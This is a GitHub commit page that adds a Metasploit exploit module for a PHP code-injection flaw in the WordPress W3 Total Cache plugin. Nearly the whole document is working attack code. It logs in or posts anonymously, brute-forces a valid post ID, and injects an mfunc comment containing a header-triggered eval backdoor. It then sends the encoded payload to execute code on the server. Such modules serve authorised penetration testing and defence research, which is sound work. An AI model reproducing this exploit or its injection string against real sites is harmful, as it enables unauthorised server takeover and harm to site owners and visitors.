Skip to content

Commit 6821c36

Browse files
committed
Landing rapid7#1761 - Adds Wordpress Total Cache module
[Closes rapid7#1761]
2 parents 71208b8 + 6c76bee commit 6821c36

File tree

1 file changed

+249
-0
lines changed

1 file changed

+249
-0
lines changed
Lines changed: 249 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,249 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Wordpress W3 Total Cache PHP Code Execution',
18+
'Description' => %q{
19+
This module exploits a PHP Code Injection vulnerability against Wordpress plugin
20+
W3 Total Cache for version up to and including 0.9.2.8. WP Super Cache 1.2 or older
21+
is also reported as vulnerable. The vulnerability is due to the handling of certain
22+
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
23+
needed in order to add the malicious comment. If the POSTID option isn't specified,
24+
then the module will automatically brute-force one. Also, if anonymous comments
25+
aren't allowed, then a valid username and password must be provided. In addition,
26+
the "A comment is held for moderation" option on Wordpress must be unchecked for
27+
successful exploitation. This module has been tested against Wordpress 3.5 and
28+
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
29+
},
30+
'Author' =>
31+
[
32+
'Unknown', # Vulnerability discovery
33+
'juan vazquez', # Metasploit module
34+
'hdm', # Metasploit module
35+
'Christian Mehlmauer' # Metasploit module
36+
],
37+
'License' => MSF_LICENSE,
38+
'References' =>
39+
[
40+
[ 'OSVDB', '92652' ],
41+
[ 'BID', '59316' ],
42+
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
43+
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ]
44+
],
45+
'Privileged' => false,
46+
'Platform' => ['php'],
47+
'Arch' => ARCH_PHP,
48+
'Payload' =>
49+
{
50+
'DisableNops' => true,
51+
},
52+
'Targets' => [ ['Wordpress 3.5', {}] ],
53+
'DefaultTarget' => 0,
54+
'DisclosureDate' => 'Apr 17 2013'
55+
))
56+
57+
register_options(
58+
[
59+
OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
60+
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
61+
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
62+
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
63+
], self.class)
64+
end
65+
66+
def peer
67+
return "#{rhost}:#{rport}"
68+
end
69+
70+
def require_auth?
71+
@user = datastore['USERNAME']
72+
@password = datastore['PASSWORD']
73+
74+
if @user and @password and not @user.empty? and not @password.empty?
75+
return true
76+
else
77+
return false
78+
end
79+
end
80+
81+
def get_session_cookie(header)
82+
header.split(";").each { |cookie|
83+
cookie.split(" ").each { |word|
84+
if word =~ /(.*logged_in.*)=(.*)/
85+
return $1, $2
86+
end
87+
}
88+
}
89+
return nil, nil
90+
end
91+
92+
def login
93+
res = send_request_cgi(
94+
{
95+
'uri' => normalize_uri(target_uri.path, "wp-login.php"),
96+
'method' => 'POST',
97+
'vars_post' => {
98+
'log' => @user,
99+
'pwd' => @password
100+
}
101+
})
102+
103+
if res and res.code == 302 and res.headers['Set-Cookie']
104+
return get_session_cookie(res.headers['Set-Cookie'])
105+
else
106+
return nil, nil
107+
end
108+
109+
end
110+
111+
def check_post_id(uri)
112+
options = {
113+
'method' => 'GET',
114+
'uri' => uri
115+
}
116+
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
117+
res = send_request_cgi(options)
118+
if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/
119+
return true
120+
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
121+
location = URI(res.headers["Location"])
122+
uri = location.path
123+
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
124+
return check_post_id(uri)
125+
end
126+
return false
127+
end
128+
129+
def find_post_id
130+
(1..1000).each{|id|
131+
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
132+
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
133+
return id if res
134+
}
135+
return nil
136+
end
137+
138+
def post_comment
139+
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
140+
141+
vars_post = {
142+
'comment' => php_payload,
143+
'submit' => 'Post+Comment',
144+
'comment_post_ID' => "#{@post_id}",
145+
'comment_parent' => "0"
146+
}
147+
vars_post.merge!({
148+
'author' => rand_text_alpha(8),
149+
'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
150+
'url' => rand_text_alpha(8),
151+
}) unless @auth
152+
153+
options = {
154+
'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),
155+
'method' => 'POST'
156+
}
157+
options.merge!({'vars_post' => vars_post})
158+
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
159+
160+
res = send_request_cgi(options)
161+
if res and res.code == 302
162+
location = URI(res.headers["Location"])
163+
uri = location.path
164+
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
165+
return uri
166+
else
167+
return nil
168+
end
169+
end
170+
171+
def exploit
172+
173+
@auth = require_auth?
174+
175+
if @auth
176+
print_status("#{peer} - Trying to login...")
177+
@cookie_name, @cookie_value = login
178+
if @cookie_name.nil? or @cookie_value.nil?
179+
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful")
180+
end
181+
else
182+
print_status("#{peer} - Trying unauthenticated exploitation...")
183+
end
184+
185+
if datastore['POSTID'] and datastore['POSTID'] != 0
186+
@post_id = datastore['POSTID']
187+
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
188+
else
189+
print_status("#{peer} - Trying to brute force a valid POST ID...")
190+
@post_id = find_post_id
191+
if @post_id.nil?
192+
fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
193+
else
194+
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
195+
end
196+
end
197+
198+
random_test = rand_text_alpha(64)
199+
@sum = Rex::Text.sha1(random_test)
200+
201+
print_status("#{peer} - Injecting the PHP Code in a comment...")
202+
post_uri = post_comment
203+
if post_uri.nil?
204+
fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned")
205+
end
206+
207+
print_status("#{peer} - Executing the payload...")
208+
options = {
209+
'method' => 'GET',
210+
'uri' => post_uri,
211+
'headers' => {
212+
'Cmd' => Rex::Text.encode_base64(payload.encoded),
213+
'Sum' => random_test
214+
}
215+
}
216+
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
217+
res = send_request_cgi(options)
218+
if res and res.code == 301
219+
fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
220+
end
221+
end
222+
223+
def check
224+
res = send_request_cgi ({
225+
'uri' => normalize_uri(target_uri.path),
226+
'method' => 'GET'
227+
})
228+
229+
if res.nil?
230+
return Exploit::CheckCode::Unknown
231+
end
232+
233+
if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
234+
version = $1
235+
if version <= "0.9.2.8"
236+
return Exploit::CheckCode::Vulnerable
237+
else
238+
return Exploit::CheckCode::Safe
239+
end
240+
end
241+
242+
if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
243+
return Exploit::CheckCode::Detected
244+
end
245+
246+
return Exploit::CheckCode::Unknown
247+
248+
end
249+
end

0 commit comments

Comments
 (0)